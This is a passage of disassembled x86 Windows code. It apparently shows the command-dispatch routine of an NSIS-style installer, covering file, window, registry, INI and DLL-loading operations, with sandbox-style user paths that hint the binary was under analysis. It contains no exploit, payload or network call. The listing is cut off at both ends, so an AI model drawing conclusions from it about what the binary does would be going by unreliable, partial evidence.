mov edi, eax jnz short loc_4025C2 cmp [ebp+var_14], 0FFFFFFFFh jz short loc_4025D4 loc_4025C2: ; CODE XREF: sub_4020E9+4D1j lea eax, [ebp+var_18] push eax lea eax, [ebp+var_18] push ebx push eax push [ebp+var_8] call ds:dword_407070 ; SetFileTime loc_4025D4: ; CODE XREF: sub_4020E9+4D7j push [ebp+var_8] call ds:dword_40706C ; CloseHandle cmp edi, ebx jge loc_4035E8 ; default ; jumptable 00402146 cases 65,66 cmp edi, 0FFFFFFFEh jnz short loc_4025FE push 0FFFFFFE9h push esi call sub_4068D5 push [ebp+var_34] push esi call ds:dword_40708C ; lstrcat jmp short loc_402606 ; --------------------------------------------------------------------------- loc_4025FE: ; CODE XREF: sub_4020E9+4FFj push 0FFFFFFEEh push esi call sub_4068D5 loc_402606: ; CODE XREF: sub_4020E9+513j push 100010h push esi jmp loc_402F63 ; --------------------------------------------------------------------------- loc_402611: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 21 jmp short loc_402648 ; --------------------------------------------------------------------------- loc_402614: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 31h ; jumptable 00402146 case 22 call sub_403753 push [ebp+var_24] push eax call sub_406202 cmp eax, ebx jz loc_4033A2 cmp eax, [ebp+var_1C] jz loc_402769 cmp eax, [ebp+var_14] jnz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 mov eax, [ebp+var_10] jmp loc_4035F3 ; jumptable 00402146 case 2 ; --------------------------------------------------------------------------- loc_402646: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 0FFFFFFF0h ; jumptable 00402146 case 23 loc_402648: ; CODE XREF: sub_4020E9+529j call sub_403753 push [ebp+var_20] push eax call sub_406253 jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_40265B: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 1 ; jumptable 00402146 case 24 call sub_403753 push eax call sub_4068CF ; lstrlen jmp loc_4031F0 ; --------------------------------------------------------------------------- loc_40266D: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 2 ; jumptable 00402146 case 25 call sub_403736 push 3 mov [ebp+arg_0], eax call sub_403736 push 1 mov edi, eax call sub_403753 cmp [ebp+var_1C], ebx mov [ebp+var_30], eax mov [esi], bl jz short loc_40269A cmp [ebp+arg_0], ebx jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 loc_40269A: ; CODE XREF: sub_4020E9+5A6j push eax call sub_4068CF ; lstrlen cmp edi, ebx jge short loc_4026AC add edi, eax js loc_4035E8 ; default ; jumptable 00402146 cases 65,66 loc_4026AC: ; CODE XREF: sub_4020E9+5B9j cmp edi, eax jle short loc_4026B2 mov edi, eax loc_4026B2: ; CODE XREF: sub_4020E9+5C5j mov eax, [ebp+var_30] add eax, edi push eax push esi call sub_4068C9 ; lstrcpy mov edi, [ebp+arg_0] cmp edi, ebx jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 jge short loc_4026DA push esi call sub_4068CF ; lstrlen add edi, eax jns short loc_4026DA mov [ebp+arg_0], ebx mov edi, ebx loc_4026DA: ; CODE XREF: sub_4020E9+5E0j ; sub_4020E9+5EAj cmp edi, 400h jge loc_4035E8 ; default ; jumptable 00402146 cases 65,66 mov [edi+esi], bl jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4026EE: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 20h ; jumptable 00402146 case 26 call sub_403753 push 31h mov esi, eax call sub_403753 push eax push esi call ds:dword_407068 ; lstrcmpi test eax, eax jnz short loc_402769 loc_40270A: ; CODE XREF: sub_4020E9+678j ; sub_4020E9:loc_402771j ... mov eax, [ebp+var_1C] jmp loc_4035F3 ; jumptable 00402146 case 2 ; --------------------------------------------------------------------------- loc_402712: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo xor edi, edi ; jumptable 00402146 case 27 inc edi push edi call sub_403753 cmp [ebp+var_1C], ebx push 400h push esi push eax jz short loc_402738 call ds:dword_407064 ; GetEnvironmentVariableA test eax, eax jnz short loc_40273E mov [ebp+var_4], edi mov [esi], bl jmp short loc_40273E ; --------------------------------------------------------------------------- loc_402738: ; CODE XREF: sub_4020E9+63Cj call ds:dword_407060 ; ExpandEnvironmentStringsA loc_40273E: ; CODE XREF: sub_4020E9+646j ; sub_4020E9+64Dj mov [esi+3FFh], bl jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402749: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 28 call sub_403736 push 1 mov esi, eax call sub_403736 cmp [ebp+var_10], ebx jnz short loc_402765 cmp esi, eax jl short loc_402769 jle short loc_40270A jmp short loc_402773 ; --------------------------------------------------------------------------- loc_402765: ; CODE XREF: sub_4020E9+672j cmp esi, eax jnb short loc_402771 loc_402769: ; CODE XREF: sub_4020E9+546j ; sub_4020E9+61Fj ... mov eax, [ebp+var_18] jmp loc_4035F3 ; jumptable 00402146 case 2 ; --------------------------------------------------------------------------- loc_402771: ; CODE XREF: sub_4020E9+67Ej jbe short loc_40270A loc_402773: ; CODE XREF: sub_4020E9+67Aj mov eax, [ebp+var_14] jmp loc_4035F3 ; jumptable 00402146 case 2 ; --------------------------------------------------------------------------- loc_40277B: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 1 ; jumptable 00402146 case 29 call sub_403736 push 2 mov edi, eax call sub_403736 mov ecx, eax mov eax, [ebp+var_18] cmp eax, 0Ch ; switch 13 cases ja short loc_402802 ; default jmp ds:off_403702[eax*4] ; switch jump loc_40279C: ; DATA XREF: .text:off_403702o add edi, ecx ; jumptable 00402795 case 0 jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027A0: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o sub edi, ecx ; jumptable 00402795 case 1 jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027A4: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o imul ecx, edi ; jumptable 00402795 case 2 mov edi, ecx jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027AB: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o cmp ecx, ebx ; jumptable 00402795 case 3 jz short loc_4027F1 mov eax, edi cdq idiv ecx loc_4027B4: ; CODE XREF: sub_4020E9+6E2j mov edi, eax jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027B8: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o or edi, ecx ; jumptable 00402795 case 4 jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027BC: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o and edi, ecx ; jumptable 00402795 case 5 jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027C0: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o xor edi, ecx ; jumptable 00402795 case 6 jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027C4: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o xor eax, eax ; jumptable 00402795 case 7 cmp edi, ebx setz al jmp short loc_4027B4 ; --------------------------------------------------------------------------- loc_4027CD: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o cmp edi, ebx ; jumptable 00402795 case 8 jnz short loc_4027DF jmp short loc_4027DB ; --------------------------------------------------------------------------- loc_4027D3: ; CODE XREF: sub_4020E9+6F0j ; sub_4020E9+6F4j xor edi, edi jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027D7: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o cmp edi, ebx ; jumptable 00402795 case 9 jz short loc_4027D3 loc_4027DB: ; CODE XREF: sub_4020E9+6E8j cmp ecx, ebx jz short loc_4027D3 loc_4027DF: ; CODE XREF: sub_4020E9+6E6j xor edi, edi inc edi jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027E4: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o cmp ecx, ebx ; jumptable 00402795 case 10 jz short loc_4027F1 mov eax, edi cdq idiv ecx mov edi, edx jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027F1: ; CODE XREF: sub_4020E9+6C4j ; sub_4020E9+6FDj xor edi, edi mov [ebp+var_4], 1 jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_4027FC: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o shl edi, cl ; jumptable 00402795 case 11 jmp short loc_402802 ; default ; --------------------------------------------------------------------------- loc_402800: ; CODE XREF: sub_4020E9+6ACj ; DATA XREF: .text:off_403702o sar edi, cl ; jumptable 00402795 case 12 loc_402802: ; CODE XREF: sub_4020E9+6AAj ; sub_4020E9+6B5j ... push edi ; default jmp loc_402235 ; --------------------------------------------------------------------------- loc_402808: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 1 ; jumptable 00402146 case 30 call sub_403753 push 2 mov edi, eax call sub_403736 push eax push edi push esi call ds:dword_40721C ; wsprintfA add esp, 0Ch jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402829: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo mov eax, [ebp+var_1C] ; jumptable 00402146 case 31 mov edi, dword_40C5C8 cmp eax, ebx jz short loc_40287A loc_402836: ; CODE XREF: sub_4020E9+75Aj dec eax cmp edi, ebx jz loc_402F55 mov edi, [edi] cmp eax, ebx jnz short loc_402836 cmp edi, ebx jz loc_402F55 add edi, 4 mov esi, offset aCall ; "Call" push edi push esi call sub_4068C9 ; lstrcpy mov eax, dword_40C5C8 add eax, 4 push eax push edi call sub_4068C9 ; lstrcpy mov eax, dword_40C5C8 push esi add eax, 4 push eax jmp loc_40337A ; --------------------------------------------------------------------------- loc_40287A: ; CODE XREF: sub_4020E9+74Bj cmp edx, ebx jz short loc_4028A3 cmp edi, ebx jz loc_4033A2 lea eax, [edi+4] push eax push esi call sub_4068C9 ; lstrcpy mov eax, [edi] push edi mov dword_40C5C8, eax loc_402898: ; CODE XREF: sub_4020E9+BC2j call ds:dword_4070BC ; GlobalFree jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4028A3: ; CODE XREF: sub_4020E9+793j push 404h call sub_406244 push [ebp+var_24] mov esi, eax lea eax, [esi+4] push eax call sub_4068D5 mov eax, dword_40C5C8 mov [esi], eax mov dword_40C5C8, esi jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4028CD: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 33h ; jumptable 00402146 cases 32,33 call sub_403753 push 44h mov [ebp+var_8], eax call sub_403753 test byte ptr [ebp+var_10], 1 mov [ebp+arg_0], eax jnz short loc_4028F2 push [ebp+var_8] call sub_406840 mov [ebp+var_8], eax loc_4028F2: ; CODE XREF: sub_4020E9+7FCj test byte ptr [ebp+var_10], 2 jnz short loc_402903 push [ebp+arg_0] call sub_406840 mov [ebp+arg_0], eax loc_402903: ; CODE XREF: sub_4020E9+80Dj cmp [ebp+var_28], 21h push 1 jnz short loc_40294F call sub_403736 push 2 mov edi, eax call sub_403736 mov ecx, [ebp+var_10] sar ecx, 2 jz short loc_40293F lea edx, [ebp+var_34] push edx push ecx push ebx push [ebp+arg_0] push [ebp+var_8] push eax push edi call ds:dword_407220 ; SendMessageTimeoutA neg eax sbb eax, eax inc eax mov [ebp+var_4], eax jmp short loc_40297E ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_4020E9+836j push [ebp+arg_0] push [ebp+var_8] push eax push edi call ds:dword_407248 ; SendMessageA jmp short loc_40297B ; --------------------------------------------------------------------------- loc_40294F: ; CODE XREF: sub_4020E9+820j call sub_403753 push 12h mov edi, eax call sub_403753 mov cl, [eax] neg cl sbb ecx, ecx and ecx, eax mov al, [edi] neg al sbb eax, eax push ecx and eax, edi push eax push [ebp+arg_0] push [ebp+var_8] call ds:dword_407224 ; FindWindowExA loc_40297B: ; CODE XREF: sub_4020E9+864j mov [ebp+var_34], eax loc_40297E: ; CODE XREF: sub_4020E9+854j cmp [ebp+var_24], ebx jl loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push [ebp+var_34] jmp loc_402235 ; --------------------------------------------------------------------------- loc_40298F: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 34 call sub_403736 push eax call ds:dword_407228 ; IsWindow loc_40299C: ; CODE XREF: sub_4020E9+226j test eax, eax jz loc_40270A mov eax, [ebp+var_20] jmp loc_4035F3 ; jumptable 00402146 case 2 ; --------------------------------------------------------------------------- loc_4029AC: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 2 ; jumptable 00402146 case 35 call sub_403736 push eax push 1 call sub_403736 push eax call ds:dword_40722C ; GetDlgItem jmp loc_4031F0 ; --------------------------------------------------------------------------- loc_4029C7: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo mov eax, dword_42F068 ; jumptable 00402146 case 36 add eax, edx push eax push 0FFFFFFEBh push ebx call sub_403736 push eax call ds:dword_407230 ; SetWindowLongA jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4029E3: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push edx ; jumptable 00402146 case 37 push [ebp+var_8] call ds:dword_40722C ; GetDlgItem mov esi, eax lea eax, [ebp+var_40] push eax push esi call ds:dword_407254 ; GetClientRect mov eax, [ebp+var_34] push 10h imul eax, [ebp+var_1C] push eax mov eax, [ebp+var_38] imul eax, [ebp+var_1C] push eax push ebx push ebx call sub_403753 push eax push ebx call ds:dword_407234 ; LoadImageA push eax push ebx push 172h push esi call ds:dword_407248 ; SendMessageA cmp eax, ebx jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push eax call ds:dword_407040 ; DeleteObject jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402A3D: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 48h ; jumptable 00402146 case 38 push 5Ah push [ebp+var_8] call ds:dword_407238 ; GetDC push eax call ds:dword_40703C ; GetDeviceCaps push eax push 2 call sub_403736 push eax call ds:dword_40710C ; MulDiv neg eax push 3 mov dword_40A988, eax call sub_403736 mov dword_40A998, eax mov al, byte ptr [ebp+var_14] push [ebp+var_20] mov cl, al and cl, 1 mov byte_40A99F, 1 mov byte_40A99C, cl mov cl, al and cl, 2 and al, 4 push offset dword_40A9A4 mov byte_40A99D, cl mov byte_40A99E, al call sub_4068D5 push offset dword_40A988 call ds:dword_407048 ; CreateFontIndirectA jmp loc_4031F0 ; --------------------------------------------------------------------------- loc_402AB7: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 39 call sub_403736 push 1 mov esi, eax call sub_403736 cmp [ebp+var_18], ebx push eax push esi jnz short loc_402AD8 call ds:dword_407218 ; ShowWindow jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402AD8: ; CODE XREF: sub_4020E9+9E2j call ds:dword_40723C ; EnableWindow jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402AE3: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 40 call sub_403753 push 31h mov esi, eax call sub_403753 push 22h mov ebx, eax call sub_403753 push ebx push esi push offset aSS ; "%s %s" push offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... mov edi, eax call ds:dword_40721C ; wsprintfA add esp, 10h push 0FFFFFFECh call sub_4020D8 mov al, [edi] push [ebp+var_18] neg al sbb eax, eax push offset aCProgramFilesC ; "C:\\Program Files\\Common Files" and eax, edi push eax mov al, [esi] neg al sbb eax, eax push ebx and eax, esi push eax push [ebp+var_8] call ds:dword_40715C cmp eax, 21h jge loc_4035E8 ; default ; jumptable 00402146 cases 65,66 jmp loc_4033A2 ; --------------------------------------------------------------------------- loc_402B4B: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 41 call sub_403753 mov esi, eax push esi push 0FFFFFFEBh call sub_405CAC push offset aCProgramFilesC ; "C:\\Program Files\\Common Files" push esi call sub_40618A cmp eax, ebx mov [ebp+arg_0], eax jz loc_4033A2 cmp [ebp+var_1C], ebx jz short loc_402BE4 push 64h push eax call ds:dword_407124 ; WaitForSingleObject cmp eax, 102h jnz short loc_402BBB mov esi, ds:dword_407264 jmp short loc_402B98 ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_4020E9+ABEj lea eax, [ebp+var_64] push eax call ds:dword_407240 ; DispatchMessageA loc_402B98: ; CODE XREF: sub_4020E9+AA3j ; sub_4020E9+AD0j push 1 push 0Fh push 0Fh lea eax, [ebp+var_64] push ebx push eax call esi ; PeekMessageA test eax, eax jnz short loc_402B8E push 64h push [ebp+arg_0] call ds:dword_407124 ; WaitForSingleObject cmp eax, 102h jz short loc_402B98 loc_402BBB: ; CODE XREF: sub_4020E9+A9Bj lea eax, [ebp+var_34] push eax push [ebp+arg_0] call ds:dword_407128 ; GetExitCodeProcess cmp [ebp+var_20], ebx jl short loc_402BD8 push [ebp+var_34] push edi call sub_406827 jmp short loc_402BE4 ; --------------------------------------------------------------------------- loc_402BD8: ; CODE XREF: sub_4020E9+AE2j cmp [ebp+var_34], ebx jz short loc_402BE4 mov [ebp+var_4], 1 loc_402BE4: ; CODE XREF: sub_4020E9+A8Bj ; sub_4020E9+AEDj ... push [ebp+arg_0] loc_402BE7: ; CODE XREF: sub_4020E9+10E6j call ds:dword_40706C ; CloseHandle jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402BF2: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 2 ; jumptable 00402146 case 42 call sub_403753 push eax call sub_406BAB cmp eax, ebx mov [ebp+arg_0], eax jz short loc_402C19 mov ebx, eax push dword ptr [ebx+14h] push edi call sub_406827 push dword ptr [ebx+18h] jmp loc_402235 ; --------------------------------------------------------------------------- loc_402C19: ; CODE XREF: sub_4020E9+B1Bj mov [esi], bl mov [edi], bl jmp loc_4033A2 ; --------------------------------------------------------------------------- loc_402C22: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo lea eax, [ebp+var_58] ; jumptable 00402146 case 43 push 0FFFFFFEEh mov [ebp+arg_0], eax call sub_403753 lea ecx, [ebp+var_2C] mov [ebp+var_30], eax push ecx push eax call sub_406BF6 mov [esi], bl cmp eax, ebx mov [ebp+var_8], eax mov [edi], bl mov [ebp+var_4], 1 jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push eax call sub_406244 cmp eax, ebx mov [ebp+var_34], eax jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push eax push [ebp+var_8] push ebx push [ebp+var_30] call sub_406BF0 test eax, eax jz short loc_402CA8 lea eax, [ebp+var_44] push eax lea eax, [ebp+arg_0] push eax push offset dword_409038 push [ebp+var_34] call sub_406BEA test eax, eax jz short loc_402CA8 mov eax, [ebp+arg_0] push dword ptr [eax+8] push esi call sub_406827 mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push edi call sub_406827 mov [ebp+var_4], ebx loc_402CA8: ; CODE XREF: sub_4020E9+B89j ; sub_4020E9+BA2j push [ebp+var_34] jmp loc_402898 ; --------------------------------------------------------------------------- loc_402CB0: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo xor edi, edi ; jumptable 00402146 case 44 push 8001h inc edi mov [ebp+var_4], edi call ds:dword_40712C ; SetErrorMode cmp dword_42F0D0, ebx jl loc_402D67 push 0FFFFFFF0h call sub_403753 push edi mov esi, eax call sub_403753 cmp [ebp+var_14], ebx mov [ebp+arg_0], eax jz short loc_402CF1 push esi call ds:dword_407134 ; GetModuleHandleA mov edi, eax cmp edi, ebx jnz short loc_402CFE loc_402CF1: ; CODE XREF: sub_4020E9+BF9j push esi call ds:dword_407138 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_402D63 loc_402CFE: ; CODE XREF: sub_4020E9+C06j push [ebp+arg_0] push edi call ds:dword_40713C ; GetProcAddress mov esi, eax cmp esi, ebx jz short loc_402D4B cmp [ebp+var_1C], ebx mov [ebp+var_4], ebx jz short loc_402D2D push [ebp+var_1C] call sub_4020D8 call esi ; PeekMessageA test eax, eax jz short loc_402D55 mov [ebp+var_4], 1 jmp short loc_402D55 ; --------------------------------------------------------------------------- loc_402D2D: ; CODE XREF: sub_4020E9+C2Bj push offset off_40902C push offset dword_40C5C8 push offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" push 400h push [ebp+var_8] call esi ; PeekMessageA add esp, 14h jmp short loc_402D55 ; --------------------------------------------------------------------------- loc_402D4B: ; CODE XREF: sub_4020E9+C23j push [ebp+arg_0] push 0FFFFFFF7h call sub_405CAC loc_402D55: ; CODE XREF: sub_4020E9+C39j ; sub_4020E9+C42j ... cmp [ebp+var_18], ebx jnz short loc_402D6E push edi call ds:dword_407140 ; FreeLibrary jmp short loc_402D6E ; --------------------------------------------------------------------------- loc_402D63: ; CODE XREF: sub_4020E9+C13j push 0FFFFFFF6h jmp short loc_402D69 ; --------------------------------------------------------------------------- loc_402D67: ; CODE XREF: sub_4020E9+BDEj push 0FFFFFFE7h loc_402D69: ; CODE XREF: sub_4020E9+C7Cj call sub_4020D8 loc_402D6E: ; CODE XREF: sub_4020E9+C6Fj ; sub_4020E9+C78j push ebx call ds:dword_40712C ; SetErrorMode jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402D7A: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 0FFFFFFF0h ; jumptable 00402146 case 45 call sub_403753 push 0FFFFFFDFh mov [ebp+var_2C], eax call sub_403753 push 2 mov esi, eax call sub_403753 push 0FFFFFFCDh mov [ebp+var_30], eax call sub_403753 push 45h mov [ebp+var_34], eax call sub_403753 push esi mov [ebp+var_44], eax call sub_40643C test eax, eax jnz short loc_402DBC push 21h call sub_403753 loc_402DBC: ; CODE XREF: sub_4020E9+CCAj lea eax, [ebp+arg_0] push eax push offset dword_407398 push 1 push ebx push offset dword_4073A8 call ds:dword_407284 cmp eax, ebx jl loc_402EB3 mov eax, [ebp+arg_0] lea edx, [ebp+var_8] push edx push offset dword_4073B8 mov ecx, [eax] push eax call dword ptr [ecx] mov edi, eax cmp edi, ebx jl loc_402EA6 mov eax, [ebp+arg_0] push esi push eax mov ecx, [eax] call dword ptr [ecx+50h] mov edi, eax mov eax, [ebp+arg_0] push offset aCProgramFilesC ; "C:\\Program Files\\Common Files" push eax mov ecx, [eax] call dword ptr [ecx+24h] mov ecx, [ebp+var_14] mov esi, 0FFh mov eax, ecx sar eax, 8 and eax, esi jz short loc_402E2E mov ecx, [ebp+arg_0] push eax push ecx mov edx, [ecx] call dword ptr [edx+3Ch] mov ecx, [ebp+var_14] loc_402E2E: ; CODE XREF: sub_4020E9+D36j mov eax, [ebp+arg_0] sar ecx, 10h mov edx, [eax] push ecx push eax call dword ptr [edx+34h] mov eax, [ebp+var_34] cmp [eax], bl jz short loc_402E54 mov edx, [ebp+var_14] mov eax, [ebp+arg_0] and edx, esi mov ecx, [eax] push edx push [ebp+var_34] push eax call dword ptr [ecx+44h] loc_402E54: ; CODE XREF: sub_4020E9+D57j mov eax, [ebp+arg_0] push [ebp+var_30] mov ecx, [eax] push eax call dword ptr [ecx+2Ch] mov eax, [ebp+arg_0] push [ebp+var_44] mov ecx, [eax] push eax call dword ptr [ecx+1Ch] cmp edi, ebx jl short loc_402E9D mov esi, offset word_40BDC8 push 400h push esi push 0FFFFFFFFh push [ebp+var_2C] mov word_40BDC8, bx push ebx push ebx call ds:dword_407144 ; MultiByteToWideChar mov eax, [ebp+var_8] push 1 push esi push eax mov ecx, [eax] call dword ptr [ecx+18h] mov edi, eax loc_402E9D: ; CODE XREF: sub_4020E9+D85j mov eax, [ebp+var_8] push eax mov ecx, [eax] call dword ptr [ecx+8] loc_402EA6: ; CODE XREF: sub_4020E9+D07j mov eax, [ebp+arg_0] push eax mov ecx, [eax] call dword ptr [ecx+8] cmp edi, ebx jge short loc_402EC6 loc_402EB3: ; CODE XREF: sub_4020E9+CECj mov [ebp+var_4], 1 push 0FFFFFFF0h loc_402EBC: ; CODE XREF: sub_4020E9+215j ; sub_4020E9+28Fj ... call sub_4020D8 jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402EC6: ; CODE XREF: sub_4020E9+DC8j push 0FFFFFFF4h jmp short loc_402EBC ; --------------------------------------------------------------------------- loc_402ECA: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 46 call sub_403753 mov edi, eax push 11h mov [ebp+arg_0], edi call sub_403753 mov esi, eax mov eax, [ebp+var_8] push edi mov [ebp+var_64], eax mov [ebp+var_60], 2 call sub_4068CF ; lstrlen push esi mov [eax+edi+1], bl call sub_4068CF ; lstrlen mov edi, offset aCDocume1SriU_0 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... push 0FFFFFFF8h push edi mov [eax+esi+1], bl call sub_4068D5 push esi push edi call ds:dword_40708C ; lstrcat mov eax, [ebp+arg_0] push edi mov [ebp+var_5C], eax mov ax, word ptr [ebp+var_1C] push ebx mov [ebp+var_58], esi mov [ebp+var_4A], edi mov [ebp+var_54], ax call sub_405CAC lea eax, [ebp+var_64] push eax call ds:dword_407170 test eax, eax jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push ebx push 0FFFFFFF9h call sub_405CAC jmp loc_4033A2 ; --------------------------------------------------------------------------- loc_402F4E: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo cmp eax, 0BADF00Dh ; jumptable 00402146 case 47 jz short loc_402F72 loc_402F55: ; CODE XREF: sub_4020E9+750j ; sub_4020E9+75Ej push 100010h push 0FFFFFFE8h push ebx call sub_4068D5 push eax loc_402F63: ; CODE XREF: sub_4020E9+523j call sub_406202 loc_402F68: ; CODE XREF: sub_4020E9+6Bj ; sub_4020E9+79j ... mov eax, 7FFFFFFFh jmp loc_4035F3 ; jumptable 00402146 case 2 ; --------------------------------------------------------------------------- loc_402F72: ; CODE XREF: sub_4020E9+E6Aj inc dword_42F0B4 jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402F7D: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo xor esi, esi ; jumptable 00402146 case 48 xor edi, edi cmp eax, ebx jz short loc_402F90 push ebx call sub_403753 mov edx, [ebp+var_20] mov esi, eax loc_402F90: ; CODE XREF: sub_4020E9+E9Aj cmp edx, ebx jz short loc_402F9D push 11h call sub_403753 mov edi, eax loc_402F9D: ; CODE XREF: sub_4020E9+EA9j cmp [ebp+var_14], ebx jz short loc_402FAB push 22h call sub_403753 mov ebx, eax loc_402FAB: ; CODE XREF: sub_4020E9+EB7j push 0FFFFFFCDh call sub_403753 push eax push ebx push edi push esi call ds:dword_407148 ; WritePrivateProfileStringA jmp loc_40227A ; --------------------------------------------------------------------------- loc_402FC1: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 1 ; jumptable 00402146 case 49 mov [ebp+arg_0], 7E4E21h call sub_403753 push 12h mov edi, eax call sub_403753 push 0FFFFFFDDh mov [ebp+var_2C], eax call sub_403753 push eax push 3FFh lea eax, [ebp+arg_0] push esi push eax push [ebp+var_2C] push edi call ds:dword_40714C ; GetPrivateProfileStringA mov eax, [esi] cmp eax, [ebp+arg_0] jmp loc_402429 ; --------------------------------------------------------------------------- loc_403001: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo cmp [ebp+var_14], ebx ; jumptable 00402146 case 50 jnz short loc_403031 push 2 call sub_40381A mov esi, eax cmp esi, ebx jz loc_4033A2 push 33h call sub_403753 push eax push esi call ds:dword_407018 ; RegDeleteValueA push esi mov edi, eax call ds:dword_40701C ; RegCloseKey jmp short loc_40304A ; --------------------------------------------------------------------------- loc_403031: ; CODE XREF: sub_4020E9+F1Bj push 22h call sub_403753 mov ecx, [ebp+var_14] and ecx, 2 push ecx push eax push [ebp+var_20] call sub_403793 mov edi, eax loc_40304A: ; CODE XREF: sub_4020E9+F46j cmp edi, ebx jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 jmp loc_4033A2 ; --------------------------------------------------------------------------- loc_403057: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo mov esi, [ebp+var_14] ; jumptable 00402146 case 51 mov edi, eax mov eax, [ebp+var_10] push 2 mov [ebp+var_2C], eax call sub_403753 push 11h mov 